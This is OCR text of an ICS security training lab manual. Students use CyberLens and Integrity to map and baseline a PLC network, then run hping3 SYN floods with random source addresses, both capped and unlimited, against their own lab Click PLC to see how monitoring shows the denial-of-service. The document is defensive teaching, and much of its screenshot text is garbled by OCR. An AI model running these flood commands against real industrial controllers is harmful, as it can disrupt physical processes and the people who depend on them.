612 directory find the " student Kit com Map.pcap " packet capture you copied at the beginning of this lab. Select " open ".
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File Upload

Sensor Records

© Recent |4 frelics [mDesktop »

¥ Home Name 4 Size Modified

[ Desktop = ICS 612

[ Documents
Downloads
Music

Pictures

D& <«

Videos

a

Floppy Disk

+

Other Locatio...

Upload PCAPs

+ Select files...

Actions

All Supported Types ¥

Cancel ,‘ Open |

9. When the packet capture appears, select the upload button

Upload PCAPs

=+ Select files...

A Files larger than 50MB may take a while to process on the server.

Actions File Name

Student Kit Com Map.pcap
iy

10. You have now imported the offline packet capture and CyberLens is ready to process it. Scroll up to the Process PCAP

window, make sure your pcap is highlighted, and select start
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Process PCAP

Pcap file

Student Kit Com Map.pcap

Window size @
300

Sensor id
1

Server host

localhost

Server port @
1337

£ Options

=

11. On the left navigation panel select pashboard

Dashboard o

12. From the main CyberLens dashboard you can see the basic analytics from the imported pcap
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o8 190 K

Packets

View Details (i} View Details

@Broadcaster @O @lcs Device @Internal Endpoint  @PLC @ SCADA Devices @ User Device

Device Type Distribution

Network Layer [ )::: Transport Layer Application Layer

Other Other ) ModbusTCP

ssop
Ve uop ,

13. From the navigation panel on the left select the Interactive Map item

Interactive Map ®

14. In the Interactive Map window, select the start menu and load the /offline Capture
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Load
Live/Offline Captur%
Snapshots

Compare

Current Map
Clear Map

Print to File
PDF

Image/SVG

Image/JPG

15. You should see a visual graphic of the assets captured in the pcap

&
- - i&? “
s - N
External Network 172.16.5.1
d4:be:d9:76:
| A Y

110 3 d0:ec\35:4f:65:99
A N
1
|
1
I

‘ A

.
172.16.5.% S 5
f4:54:33:53:9F.c1
Rocit

- -
172.16.5.12 4- Mapped Network
00:d0:7c:12:8e:87
KoyoElec .

J
00:d0:7¢:12:9¢:b65¢:88:16:99:84:48
KayeElac

il

16. Toggle to the Tree Layout which can be found on the left side of the window as a menu selection. Drag the window into center
and zoom in and out to get the appropriate view. In this view you will see some I/0 communications from the Click.
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-~
— - —
-

’ <

Y > v
oD Dm 2
e

172.16.5.1 5c:88:16:99:84:4800:d0:7c:12:9¢:b6 External Network
d0:%. 3 Af.65:e8 KoyoElec

17216512 172.16.5.3 172.16.5.102
00:d0Z:12:8e:87 14:54:33:53:98:c1 d4be:d9.76:84e6
KayoElec Rockwell Dell
'
’
L}
L
’
L
L
'
v

10

17. Under the interactive map window you will see a time slider bar that will allow you to grab the progress meter and slide back
in time to earlier in the packet capture and you will identify that a device did not previously exist within the network being
monitored. Asset 172.16.5.12 and the associated /0 communications was not previously seen until later in the network

capture. Scroll back to the right when you have seen this change.

23 Aug 2019 21:21:03

23 Aug 2019 21:11:02 23 Aug 2019 21:13:46

(B3 20 2019 23 Aug 2019 23Aug 2019, (23 Aug 2019 23 Aug 2019
21:11:02 21:12:02 01302 < (211002 211502

23 Aug 2019 23 Aug 2019 23 Aug 2019 23 Aug 2019 23 Aug 2019 T}
21:16:02 21:17:02 21:18:02 21:19:02 21:20:02

18. In the top menu select pisplay andthen Characterize ICS Devices
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Views

Network Segments
Hide/Show

Public/External Devices

Private/Internal Devices
« Collapsable Zones

Broadcast Only Devices
« Characterize ICS Devicps

iy

« Vulnerability Icons

Manage

Auto Associations

Save Positions

Network Segments

Zones

19. Select the 172.16.5.3 device and view the device details to the right and review some of the available information. When
complete try to select the I/0 device and see the metadata with Modbus Function Codes
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=
= 1"0

V 2.16.0.0/12

, Lpc:35:4f.65.e8
A

v

172.16.5.12

ec:35:41.65:99

N
....~-
Bt =

Ve

| B
Naziessd 1

72.16.5.102

00:d04p:12:8e:87 §4:54:33:53:98:c1 04:be:d9:76:84:e6
Rockwell

KayoElec
L
'
'
'
'

bd w- ..

Dell

172.20.1.40

23 Aug 2019 21:21:03

312

Details

Dst Ethernet Types

Dst IP Protocols

Dst Application Protocols

Src Ethernet Types

Src IP Protocols

Src Application Protocols

Rockwell
More Info
Device Type Ics Device
Name
Zone
MAC fa:54:33:53:08:c1 (£
MAC Vendor Rockwell Automation
1Pva 53 (&
IPVE
First Seen 2019-08-23T21:11:02.000Z
Last Seen 2019-08-23T21:20:41.000Z
Notes

ARP
1Pva

TCP

cie

AB_PCCC

EtherNet/IP

FTP control (command)
Unknown TCP Port 5900

ARP
1Pv4

TCP
uopP

EtherNet/IP

FTP control (command)
SSDP

Unknown TCP Port 5900
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Y X\
i B =

i 172.165. 172.165.3 172.16.5.102
00:d0:7c:12:8%.87 {4:54:33:53:98:.c1 0d4:be:d9:76:84:e6
KoyoElec '\ Rockwel Dell
‘\
‘V
.
\
1"" .v"'
\
[ 3 N
o e
Aug 2019 123 Aug 2010 9 |23 Aug 2010 N

Notes

Metadata

Dst Ethernet Types N/A
Dst IP Protocols N/A
Dst Application Protocols N/A
Src Ethernet Types N/A
Src IP Protocols N/A
Src Application Protocols N/A

Read Coils: 1390

Read Holding Registers: 1390

unknown Function Code #125: 1

unknown Function Code #218: 2
]

ModbusTCP Function Codes

20. Within this view you can also apply a filter, select Application Protocol, Equal, EtherNet/IP — or Modbus, or CIP, or Allen Bradley

PCCC and you will see the Interactive Map change

21. You can also CyberLens to see protocol information for analysis. Select " bata viewer " from the main menu left of the "Start"
button in the navigation panel. You can investigate data such as Modbus or CIP within this tool.

CyberLens™ - Mozilla Firefox

S CyberLens™

c @

&

@ localhost,

BB Physical Devices more v 68 records 88 Internal Hosts more v 20 records

B8 External Hosts more v 16 records & Ethernet Flow more v 360 records
Data Viewer

B8 IP Records more v 269 records B8 Application Flow more v 266 records

&3 DNS Records more v 2 records 88 External Comms more v 0 records

BB First Seen Protocols more v 322 records BB Zone Flows more v 0 records

B8 Nessus Vulnerabilities more v 2 records

Data Tables

CYBER

Welcome relics a0

22. When you have completed looking at some capabilities of CyberLens, close the web browser window and right click on the

CyberLens icon in the RELICS application toolbar.

23. Select the stop services option in the right click pop up menu to stop the CyberLens server services.

Task 2 -- Utilize Integrity to view the same static packet capture with a baseline

1. Right click the Integrity icon in the RELICS toolbar and select start Sophia Services.When the terminal window closes,

right click Integrity again and select Integrity .
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Open Integrity Operations Dashboard

Start Sophia Services
Stop Sophia Services

Integrity™

[ 4 Unlock from Launcher
o® etecth

2. In case there is any info already loaded in the database we will clear it first. Click the gear in the upper right corner, select the

system Maintenance button.

Configuration Settings

Hide Channel Handles
Hide Empty Groups
Hide Empty Sources
Hide Empty Subnets
Relative Packets

¢
¥
*
Show Unicast Packets ¥
*
¥
i

Interaction Line Limit

Inactive Time (Minutes)

Show Multicast Packets
Show Time Bar

Show Packets

Show FPS

Show Orientation
Show Mouse Info 2 Packet Point Size
Show Help *

Close

ed Out Time (Days)
Select License M ‘ 2

Set Baseline

||| [A14[4]4] [414] | |

&

3. Clear the database and config by selecting " Reset Configuration"and " Reset Database ". Click " ok "to complete the
configuration and database reset.

System Maintenance

Il Take System Snapshot

w4 Reset Configuration
w4 Reset Database

Cancel

4. Click " ok " to Reset the Database and Configuration.

5. When the "Integrity | Vision" window reappears, click somewhere in the map window and press the lower-case "L" key — 1 .
When prompted select the " student Kit Com Map.pcap " packet capture file located in the ICS 612 directory for Lab 4.1

6. When the data begins to map in the Integrity Vision window you can move around in the 3D window with the data. You can
toggle between data views through preset camera angles by pressing 1,2,3,4,0r 5

7. Press camera angle 2,and then usethe w, A, s, b keystomovein,left, out, and right respectively. Additionally, the E ,
and c keys will move you up and down. Position the assets within your display and then push the Frs key to toggle
between various data views, dot view, line, comet, etc.
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DNS Name: desktop-pgl6é3mm.local
IP: 172.16.5.102
IP: fe80:2460:5F71:626a:8d 51
MAC: d4-be-d9-76-84-e6
ManuFfacturer: Dell Inc.
Last Seen: 2019-08-23 17:59:05
Interaction(s): 25

8. Below the visualization window you will see a scroll bar that will allow you to scroll the packet all the way to the right, which
will display additional assets within the window.

2019-08-23
| 17:13:29.428

9. Within the visualization window, right click over a communication path and select show <interactions .
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Show Interactions N
Move

Manual Location
Resize

Organize
Release Host(s)
Remove Group

Group Properties
Select Skin
Edit Description

10. Pressing the F4 key will call up a color legend, however the size of the window is small and difficult to differentiate between
the various colors. It is easier to highlight the communications you are interested in from the navigation panel on the left.

s net <% Visualization: Points
= Protocol
IcMP
IGMP
TCP
[Failed connections]
ethernetip
ftp
modbus
modbus?
unknown
ubp
ICMP6
ARP
LOOP

IP_TRACK

ETH_ARP

11. There is a tremendous amount of customization and modification that can be done from within the console, however we will
take a quick look at the operations dashboard.

12. Right click on the Integrity icon and select Open Integrity Operations Dashboard
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@ Dashbod

A~
s Ascels

A Alerts

13. From within the Operations Dashboard you can navigate and see various views of the assets - inventory, logical topology, and
physical topology, as well as Alerts, Network statistics, Health information, and setup reporting.

14. We will now go back into the Integrity Vision window and click the gear in the upper right-hand corner again, and select
System Maintenance and reset the database. This will stop and start the services after clearing out the previous records. Click

" ok " to Reset the Database and Configuration.

System Maintenance

[l Take System Snapshot
4 Reset Configuration
4 Reset Database

Cancel (0] 4

At this point, the "Integrity | Vision" window should reappear without any devices and no traffic.

® @ @ Integrity | Vision 3.4.0

A Alerts = 5o
< Visualization: Comets PCAP MODE: Normal

= Protocol

© 2022 Jeffrey Shearer, Jason Dely, Tim Conway, and Chris Robinson 317



Lab 4.2 -- Process Environment Monitoring

Background

Regardless of the tools we use to perform collection and monitoring, we should test our understanding go their capabilities and
shortcomings. In this lab will will initiate a known attack to understand how this attack would be detected and presented in one of
our monitoring tools.

* Pre-Configured SPAN (Mirror) Port on Pod Switch for network capture - Ports 3 and 4

+1CS612 - Kali-Linux Virtual Machine Distribution

+1CS612 - Windows Virtual Machine Distribution

Total Lab Time: 20 minutes

Objectives

« Leverage teh RELICS VM Distribution to collect and analyze packet capture off our local network

« Execute a known low level Denial of Service attack triggering a loss of visibility and loss of control against the local control
system

+ DoS attacks to a PLC or other embedded devices can prevent HMI's or more importantly design tools from connecting and
being able to change or monitor the program.

+ Review how that attack presents itself in an ICS monitor tool

+ Understand the monitoring tools can be an indirect target for DoS attacks by simply overrunning whatever the monitoring
tools are connected to. If the amount of traffic overwhelms the sensor or the monitoring tool then the tool becomes useless

1. Be sure the student laptops are plugged into either Port 3 or 4 on the Pod switch. These ports on the Pod switch are
configured to monitor (SPAN/Mirrors) internal pod network VLAN traffic and simultaneously forward traffic from connected
devices.

2. Manually set your host machine and all VM's to within the pod's IP Range because the DHCP doesn't always get
passed through a span port session.

If you are Student 1:

a. Set your host machine IP Address to 172.16.pod#.15, Subnet mask 255.255.255.0
b. Set your Windows VM to 172.16.pod#.11, Subnet mask 255.255.255.0

c. Set your Kali VM to 172.16.pod#.13, Subnet mask 255.255.255.0

d. Set your RELICS VM to 172.16.pod#.14, Subnet mask 255.255.255.0
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If you are Student 2:

a. Set your host machine IP Address to 172.16.pod#.25, Subnet mask 255.255.255.0
b. Set your Windows VM to 172.16.pod#.21, Subnet mask 255.255.255.0

c. Set your Kali VM to 172.16.pod#.23, Subnet mask 255.255.255.0

d. Set your RELICS VM to 172.16.pod#.24, Subnet mask 255.255.255.0

Task 1 -- Utilize Integrity to view traffic from within your local Pod

1. Be sure the student laptops are plugged into either Port 3 or 4 on the Pod switch. These ports on the Pod switch are
configured to monitor (SPAN/Mirrors) internal pod network VLAN traffic and simultaneously forward traffic from connected
devices.

Note

For this lab, also make sure you virtual machines network adapter settings are either set to "Bridged" or set to "Custom"
and configured to be connected to your physical Ethernet interface. Do not configure your Ethernet interface to use NAT.

Open the Integrity Operations Dashboard by right clicking the Integrity Icon and select " Integrity Operations Dashboard ".

Integrity™

X Integrity | Vision 3.4.0
; 4 & Alerts
E = Protocol

—

- - |
'S Open Integrity Operations Dashboard

Start Sophia Services
Stop Sophia Services

Integrity™

Unlock from Launcher
Quit

2. Within the Integrity Operations Dashboard, select the settings section and Network Interfaces
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'« Nex

@ Dashboard

L Assets

A Alerts

B2 Network

18 Health

= Reports

©f Settings
A Alert Configuration
W Asset Identification Rules
[ Dashboard Logo
B Data Archiving
(& 1DS Rules

= Network Interfaces ™

@ Time Synchronization

3. Select the network interface within the RELICS VM that is seeing traffic on the mirrored network. Select the Monitored option to
start live capture and monitoring of the traffic. Click " Apply " to start the live capture

# Interface . (Optional) Bond Name Operational Status Link Status Monitored

ens33

0 t t

. o

4. Go back to the Integrity Vision window, wait until you have captured some traffic for a couple minutes and then select the gear

in the upper right corner, select set Baseline.
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- Visualization: Comets

SENSOR MODE: | jve
y Configuration Settings

System Maintenance
Select License

Set Baseline

]
]
|
4
]
|
|
]
4
]
]
]
|

Hide Channel Handles “
Hide Empty Groups Interaction Line Limit
Hide Empty Sources .

Hide Empty Subnets

Relative Packets Inactive Time (Minutes)
Show Unicast Packets W

Show Multicast Packets

Show Time Bar

Show Packets

Show FPS

Show Orientation

Show Mouse Info

Show Help

5. With the baseline set, return to the Integrity Operations Dashboard, select the Assets section and Asset Inventory.Review

the information in the displayed table. Notice that not all devices have an IP address listed.

— ﬂ
Assets
[ 0 =

Devices

i= Asset Inventory

(5 ) Hac
«& Logical Topology Devices
« Physical Topology S
Local
‘ Alerts o A:;iesses

Description ¥ -
Descript MAC Manufactu

5c:88:16:e5:0d:6f

00:d0:7c:12:87:d6

5c:88:16:9d:39:92

172.16.1.2 5c:88:16:a2:f9:e9

Rockwell
Automation

KOYO
ELECTRONICS
INC. CO. LTD.

Rockwell
Automation

Rockwell
Automation

6. Select Logical Topologies in the Asset menu on the left. Review the diagram and take note how the same devices as in the

Asset Inventory are only displaying MAC addresses and not IP addresses even though these devices are communicating over

Layer 3 protocols.
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5c:88:16:e5:0d:6f

17,_?..15-1‘2 172.16.1.4

00:d0:7¢:12;87:6
When creating and asset list and traffic baseline from network traffic, these tools must utilize rules developed from network
protocol and communication standards when associating a device with both a MAC address and IP address. Since Layer 3 is
routable, the IP addresses could be routed from outside networks therefore the tool cannot definitively associate the IP and
MAC addresses to a device with Layer 3 protocols. Only when an appropriate layer 2 protocol, such as ARP or NBNS, is

witnessed on the local broadcast domain can the tool make this association conclusive. The image below taken from
Wireshark outside of this lab shows creditable IP association using Address Resolution Protocol (ARP).

KoyoElec 12:87:d6  Broadcast ARP 60 Who has 172.16.1.27 Tell 172.16.1.12
Rggkg«gl;_z}g:fgzeg I_(g)_/ol_f}et_:_:}Z:87:d6 ARP 60 172.16.1.2_15 at 5c:88:1§:§2:f9:g9 ~

The usage of non-ICS Layer 2 protocols can be sporadic within ICS. As such, not all devices will use these protocols in the
same way and additionally, some of these protocols may never be used within an ICS. In certain cases, such as the Pod HMI, a
reboot of the terminal is the only effective way to force the device to produce a layer 2 protocol that Integrity will use to
associate an IP address to an asset. Others, such as the Click PLC (Koyo Electronics) is periodic. Depending on whether your
baseline happens to have captured an ARP packets displayed above, you may find notice a deviation from baseline is
triggered after an appropriate amount of monitoring time passes as these ARP packets are produced.

. From within RELICS, open a new tab in your web browser and generate new traffic communications paths that did not exist

within the baseline by navigating to your respective Pod PLC website (i.e., 172.16.x.2 where "x" is your pod number).

322 © 2022 Jeffrey Shearer, Jason Dely, Tim Conway, and Chris Robinson

Technet24



& C o ® 172.16.1.2

WEEEIEE 1769-L18ER/B LOGIX5318ER

==
mHome

(4 piagnostics Device Name 1769-L18ER/B LOGIX5318ER

Device Description

Device Location

Ethemet Address (MAC) 5C:88:16:A2:F9:E9

IP Address 172.16.1.2

Product Revision 24.013 Buid 16
Firmware Version Date Sep 19 2014, 20:38:30
Serial Number 60FDCIEF

Uptime 10 days, 01h:52m:39s

8. Review the deviations from the Integrity Vision window and from the Dashboard and Alerts section of the Integrity
Dashboard.

Integrity | Vision 3.4.0

& Alerts

+ IP_TRACK

ETH_ARP

A Alerts

Subject $ Type % Description ¢ Count ¢ First 4 Last

172.161.14>172.16.1.2:arp p New-Object Anew connection has been detected 00001 2022-02-05 09:04 20220205 09:04
00-0¢c-29-1a-32-d 6->5¢-88-16-b3-74-2b }) New-Object Anew connection has been detected 00001 20220205 09:04 20220205 09:04
00-0c-29-1a-32-d6 }3 New-Object Anew device has been detected 00001 20220205 09:04 20220205 09:04
00-0c-29-1a-32-d 6->5¢-88-16-b3-74-2b P New-Object Anew connection has been detected 00001 20220205 09:04 202202-05 09:04
172.161.14 }J New-Object Anew device has been detected 00001 20220205 09:04 20220205 09:04
172.16.1.14->172,16.1.2:http }) New-Object Anew connection has been detected 00001 2022-02-05 09:04 2022-02-05 09:04
172.161.2>172.16.1.14:arp P New-Object Anew connection has been detected 00001 2022-02-05 09:04 202202-05 09:04
5¢-88-16-b3-74-2b->00-0c-29-13-32-d6 }3 New-Object Anew connection has been detected 00001 2022-02-05 09:04 202202-05 09:04

A Alerts
0 - 0a 31a 0a
@ BlacKisted Value Out of Range o 105 Tripped Baseline Deviation Traffic Deviation
2019-68-31 23:18:36 2019-08-31 23:20:30
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@ Dashboard

H Assets

RecType Endpoints First Seen
IP-to-1P 172.16.1.200 <=  New " " 2626-06-22
A Alerts Commmunication 172.16.1.2 Object 13:01:03.001049-04:00
00:6c:29:2a:49:ec
Non-1P New i s 2626-06-22
H—] u 4 . 4
i= Alert Summary Communication Object 13:01:63.601640-64:60
5c:88:16:a2:9:e9
New 2026-06-22
MAC Addi 00:0c:29:2a:49: 1 No
= Network ress C1291231935€C b ect 13:01:03.681420-64:60

Although webservers, among other services, do have legitimate use cases on ICS devices, many of these services are seldomly
used or necessary for continuous operation. These services typically provide additional vendor supplied features, such as
troubleshooting, which in fact may never be used over the life of the system. These services may have known or unknown
vulnerabilities but cannot always be disabled or blocked easily. Baselining the deterministic and continuous ICS
communications at these low-level networks provides easier detection of anomalies however, not all anomalies are malicious.
The follow-up action on detection of these specific unused, of lightly used, services should include procedures to verify
legitimacy for each detection event but most likely should not be ignored or pulled into the baseline simply because they are
legitimate.

We will now use Integrity to spot a malicious hping3 attack. Keep all your Integrity windows open at this point in the lab.

Task 2 -- hping3 Attack Monitoring

We will now launch an hping3 attack and monitor its effects on the Click Plus PLC and the Integrity monitoring software

1. Using the Windows VM, Open Lab Files — Lab 2.1 — click. Within the Click folder, "Write Project" into your Click PLC
noting that the Click file name contains the associated pod number.

In this example below, we are showing Pod 01 student 1 Click.
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CLICK Programming Software (Version 3.21) - Click sAB Modbus Lab01.7 Pod1-2-3-13.ckp - [Main Program] - 0 X

Connect

Program  Function PLC Hack Useful Box
=-*} Ladder Program 0=As Designed, Enable Useless Box
" = Main’:rgogmm 1=HACK! Motion
S HackUBox EnableUseless
-4 Subroutine Program
. BC [H v001
N1 ALARMMGMT 1
N FLASHER
N INITALIZE
§1 PRODSEL 15t SCAN
N8 TEMPERATURE B sc2 Cal
1 UBOXALARMS 2 || O irmauize
.. @#¥ Interrupt Program
& Address Picker
- Edit Rung Comments 3 QFLASHER ,
.. Local Program Inforn o] Counter
8 Syntax Check Always False Bit Advanced
£ Cross Reference View AlwaysFalseBit Math
B C100 ol Drum
1| Cally
4 1l > UBOXALARMS pee
Transfer completed.
Write Project into PLC...
Transfer completed. .
v

.HMWMMMMM—IWWMEE

Note

See Lab 1.2 if you need familiarization with going online and downloading with your Click Plus PLC.

2. Verify you are online with your Click Plus PLC by opening the Home tab confirming the green "Online" and "Run" indicators in
the Click Plus Programming Software tool bar.
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CLICK Programming Software (Version 3.21) - Click sAB Modbus Lab01.7 Pod1-2-3-13.ckp - [Main Program] - ] X

File © | Home . Edit

View Setup Program

Instruction PLC

Monitor ~ Window  Help

% Cut 4o p i Cursor v Rung Comments @ @ m £ Address Picker ﬂ b}
-2 Copy g : R~ # Line v Address Comments CPU % ¢ Cross Reference : h
o d = Soﬁwan Disconnect
1595;1 fainiiasid 4~ Erase v Nicknames V, Synthheck @
Navigation 8 x A o s o o | E | F AF
Program Function PLC Hack Useful Box Instruction
& &%) Ladder Program 0= A15 E';sucg'(ned, Enabl:ﬂUseltss Box Contact 7
#3 Main P! = ! otion
g e r?gram HackUBox EnableUseless (8 Contact (NO)
=8 V_Subvoutme Program BCl B Y001 Contact (NC)
881 ALARMMGMT 1 l Edge Contact
g FLASHER | Compare
.@ INITALIZE Coil
88 PRODSEL _1st_SCAN & Out
&1 TEMPERATURE BsC2 Call, o set
54 UBOXALARMS 2 |} INTAUZE Lo
jﬂ Interrupt Program |
. Timer/Counter
& Address Picker i
o Edit Rung Comments 3 G ¢ nstier 1 Timer
Q) Local Program Inforn o Counter
& Syntax Check Always False Bit Advanced
£ Cross Reference View AlwaysFalseBit £3 Math
=& Monitor .10100 Call, e Drum
B Status Monitor 4 1 >UBOXALARMS || sn] Shift Register
=-JB Data View Copy/Search
FE DataView! - =i 5 ¥ lwed Copy S
3 Text View -
4 MQTT Text View Output o x
Override View Transfer completed. A
[P System Monitor ) o
= | PID(MonRor/Conﬁguwtl Write Project into PLC...
Rl pars piia’ Transfer completed.
< > G
F '
ﬂ Bit  [Dinteger [l Integer2 wotds) [El Floating point [l Hex [MTet  [A] Ascii RUN 0356/8000 C2-01CPU 1:1:A

Using our Kali VM, we are now going to run a limited hping3 syn attack against your Click Plus PLC. We are limiting the
number of packets we are going to send to the Click Plus PLC in this part of the lab because if we simply flood the PLC, it
will cause the Integrity monitoring software to lock up and the Click Plus PLC to be unreachable. We will do this experiment
later in this lab after we turn the monitoring capability of the Integrity platform off.

3. Open the Kali VM
4. Access the hping3 Commands folder found in the Lab 4.1 folder on your Student ISO.

5. Within the hping3 Commands folder you will find a hping3 commands.txt file that contains the hping3 commands. Open this
file and find your pod's hping3 attack command.

Note

You will use this hping3 attack against your own Pod, do not attack other pods!

6. You will use the first set of hping3 commands found under the comment line labeled " // run this command first to show
limited attack with Integrity’

The format of the hping3 command are as follows:

hping3 -c 1000 -S --faster --rand-source 172.16.1.<IP>
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Where:
* -c = count of packets to send
*-S = set SYN flag

« —faster = Alias for-i u1. Faster than —fast ;) (but not as fast as your computer can send packets due to the signal-driven
design).

* —rand-source = randomize the source IP Address
+ <|P>is the IP Address in the format of 172.16 [Pod #]. 12 or 22. Where .12 = student 1 Click, .22 = student 2 Click

In our example we will flood Pod 1's student Click 1. The command will be as follows:

hping3 -c 1000 -S --faster --rand-source 172.16.1.12

eacce . hping3 nds.txt =
oot @ICS612-Kali: / 1 Open ~ || @ ping. (vomrna 7’ Save = 0 0O

= = // run this command first to show limited attack with Integrity
# hping3 -c S --faster --rand-source 172.16.1.12 )

hping3 -c 1000 -S --faster --rand-source 172.16.(Pod#).(IP Address)

// example for limited attack with Integrity

Lo pod 2

--faster --rand-source 172

-c 1000 -S --faster --rand-source 172.16.2.12
-c 1000 -S --faster --rand-source 172.16.2.22
3

-c 1000 -S --faster --rand-source 172.16.3.12
-c 1000 -S --faster --rand-source 172.16.3.22
4

-c 1000 -S --faster --rand-source 172.16.4.12
-c 1000 -S --faster --rand-source 172.16.4.22

Plain Text v  Tab Width:8 ¥ Ln27,Col9 v INS

New Window

Jreferences

Remove from Favorites

8. In this example, we will show the commands for syn flooding Pod 1, student 1 Click
hping3 -c 1000 -S --faster --rand-source 172.16.1.12

9. Press the Enter key.

After running the hping3 command, you should see 1000 packets were sent without any being received.
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root@ICS612-Kali: / @ ® O

File Edit View Search Terminal Help
:/# hping3 -c 1000 -S --faster --rand-source 172.16.1.12
HPING 172.16.1.12 (ethe 172.16.1.12): S set, 40 headers + 0 data bytes

--- 172.16.1.12 hping statistic ---
1000 packets transmitted, © packets received, 100% packet loss
round-trip min/avg/max = 0.0/0.0/0.0 ms

T/#

10. Open the RELICS VM and investigate the Integrity Vision software. You should see many additional devices appear in the
SENSOR MODE:Live window. We can see these hosts show up as "red" because they are additional devices and hosts not
captured in our baseline.

@ @ @ Integrity | Vision 3.4.0
A Alerts - YR
<. Visualization: Comets SENSOR MODE: Live
= Protocol 3
+ TCP
+ UDP
+ ARP
+ IP_TRACK

+ ETH_ARP

For now, let's turn off the "Live Capture" mode so we can look at static data. We are also turning off the live capture

capabilities because if we run an unlimited hping3 attack, it will make the Integrity platform unusable.
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1 Open the Integrity Operations Dashboard. Find the Network Interfaces configurations window under the Settings tab. Unselect
" Monitored " and select " Apply ".

Integrity Dashboard - Mozilla Firefox

Default - Default site

Site Console: relics-vm 0. th:fmf.

Network interfaces

Updated: 2/5/2022, 10:31:16 AM

View network interface status, and edit interface settings for Integrity monitoring, archiving, accessibility, and description

Configuration Notes:

« (Optional) Bond Name: Allinterfaces with the same bond name are grouped into a single logical packet source.

« Archive Data: In addition to enabling Archive Data checkboxes for each network interface of interest, you must also configure the general Data Archiving settings web
page.

« Accessibility: The recommended Accessibility mode for monitored interfaces Is Restricted (Monitor Only):
Unrestricted: Default accessibility, typically has an IP address, under Linux Network Manager control.

Restricted (Monitor Only): No IP address, removed from Linux Network Manager control to avoid out-bound traffic generation

ard Logo # Interface . (Optional) Bond Name Operational Status Link Status Monitored Archive Data Accessibility Description (enter custom text)
d Logo
arch ens33
ta Archiving
o 172.16.1.14 t t Unrestricted

# Network Interfaces

Apply |

© Time Synchronization

|~ Statistics

12. Open the Integrity | Vision window and push " 2 " to flip the objects to a flatter view

© 2022 Jeffrey Shearer, Jason Dely, Tim Conway, and Chris Robinson 329



@ © & Integrity | Vision 3.4.0

& Alerts Hosery
~ Visualization: Comets SENSOR MODE: Live

= Protocol
> | Integnty
+TCP
+ UDP
+ ARP
+ IP_TRACK
+ ETH_ARP

+ LLDP

13. Under Protocol, select " TcP " and " Failed Connections ". You should see a similar window showing traffic from many
different sources sending traffic to the Click Plus PLC
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@ © @ Integrity | Vision 3.4.0

A4 Alerts - e
“ Visualization: Comets SENSOR MODE:

= Protocol
Integrity

secrom0) ff

(SEL:1000)

TCP
+ [Failed connections]
+ ethernetip
+ ethernetip?
+ http
+ modbus
+ UDP
+ ARP
+ IP_TRACK
+ ETH_ARP

+ LLDP

14. Expand " Failed Connections " and your Click Plus PLC. In the example below we see the PLC at 172.16.1.12 had many failed

connections from random IP Addresses.
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Y- Yo

Integrity | Vision 3.4.0

A4 Alerts

“ Visualization: Comets SENSOR MODE: Live

= Protocol
Integrity

TCP
(SEL:1000)
+ [Failed connections]
+ ethernetip
+ ethernetip?
+ http
+ modbus
+ UDP
+ ARP
+ IP_TRACK
+ ETH_ARP

+ LLDP

15. We can close the Integrity Operations Dashboard at this point in the lab. Do this by closing the Mozilla Firefox browser
session that was launched to view Integrity Dashboard.

16. Let's close the Integrity Vision software too. Do this by closing the window and select " No " when it prompts to Save the
Configuration.

17. Look at your Click Programming Software session in your Windows VM and you will find the software has not lost
communications with the Click Plus PLC and didn't have an issue with a burst of 1000 packets attempting to connect to this
device. Let's investigate what happens when we do a continuous hping3 syn flood.
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CLICK Programming Software (Version 3.21) - Click sAB Modbus Lab01.7 Pod1-2-3-13.ckp - [Main Program] - a X

File ~  Home  Edit View Setup  Program Instruction Window  Help [ Style ~ = & X
% Cut 4= = . Cursor [v|Rung Comments @ @ m £ Address Picker @ % & Online E
<23 Copy - # line v Address Comments ¢ Cross Reference m B Run [E Data View ~
Undo Redo CPU VO Soﬂmm
JSPaste ;7 Erase (V] Nicknames Symqued: IE}'} () No Error
Navigation 2 x A | 8 | ¢ [ o [ E | F AF A Instruction List 2 x
Program Function PLC Hack Useful Box Instruction
=-§%) Ladder Program ~ 0=As Designed, Enable Useless Box Contact 7
1=HACK! Motion
i g :A.:n Pr?Qrapm HackUBox EnableUseless Contact (NO)
= & iu routine Program BC B Y001 Contact (NC)
88 ALARMMGMT 1 N Edge Contact
& FLASHER —— Compare
N8 INITALIZE Coil
S PRODSEL _1st_SCAN & Out
Mg TEMPERATURE B sc2 c
[ all, ] Set
881 UBOXALARMS 2 1t INITALIZE o Reset
@ Interrupt Program 1
i Timer/Counter
& Address Picker Call -
@ Edit Rung Comments 3 FLASHER 1 Timer
Q) Local Program Inforn o Counter
& Syntax Check Always False Bit Advanced
€D Cross Reference View AIw;ysFalseBit 23 Math
- & Monitor ” |C1|°° Call A Drum
BB Status Monitor LI UBOXALARMS Sh Shift Register
= §B Data View CopaSandi
FB DataView1 call v | |1 Copy N
73 Text View < > il
753 MQTT Text View Output 2 x
B Override View Transfer completed. (2
[T System Monitor ) o
SR PID(Momtor/Conflguratl Write Project into PLC...
[T g Transfer completed.
< > v
Bit  [I] Integer I Integer(2 words) Il Floatingpoint [l Hex [T Text Ascii | RUN 0356/8000 C2-01CPU 1:1:A

18. Open Kali VM and scroll down to the section marked " // run this command to DoS the Click Plus

-nm hping3 commands.txt E]
~IDesktop/Lab 4.1 Save 60

// run this command to DoS the Click Plus

hping3 -S --flood --rand-source 172.16.(Pod#).(IP Address)
// Pod 1

hping3 -S --flood --rand-source 172.16.1.12
hping3 -S --flood --rand-source 172.16.1.22
//Pod 2

hping3 -S --flood --rand-source 172.16.2.12
hping3 -S --flood --rand-source 172.16.2.22
// Pod 3

hping3 -S --flood --rand-source 172.16.3.12
hping3 -S --flood --rand-source 172.16.3.22
// Pod 4

hping3 -S --flood --rand-source 172.16.4.12
hping3 -S --flood --rand-source 172.16.4.22
// Pod 5

hesoa i= €T and B R TR PN 172 1 © 10

Plain Text ¥  Tab Width: 8 ¥ Ln7,Col 53 v INS

In this example, we are going to run the hping3 attack against Pod 1, Click Plus 1. We are going to eliminate the "-c" variable
from our hping3 attack script so we can send unlimited packets to the Click Plus PLC. We are also going to change the "—
faster" parameter to "—flood" so it will send the packets as fast as possible.
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19, Enter the command for syn flooding Pod 1, student 1 ClickPLC.

hping3 -S --flood --rand-source 172.16.1.12

root@ICS612-Kali: / @ ® O

File Edit View Search Terminal Help

:/# hping3 -c 1000 -S --faster --rand-source 172.16.1.12
HPING 172.16.1.12 (ethe® 172.16.1.12): S set, 40 headers + 0 data bytes

--- 172.16.1.12 hping statistic ---
1000 packets transmitted, © packets received, 100% packet loss
round-trip min/avg/max = 0.0/0.0/0.0 ms

:/# hping3 -S --flood --rand-source 172.16.1.12]}

20. Press Enter .
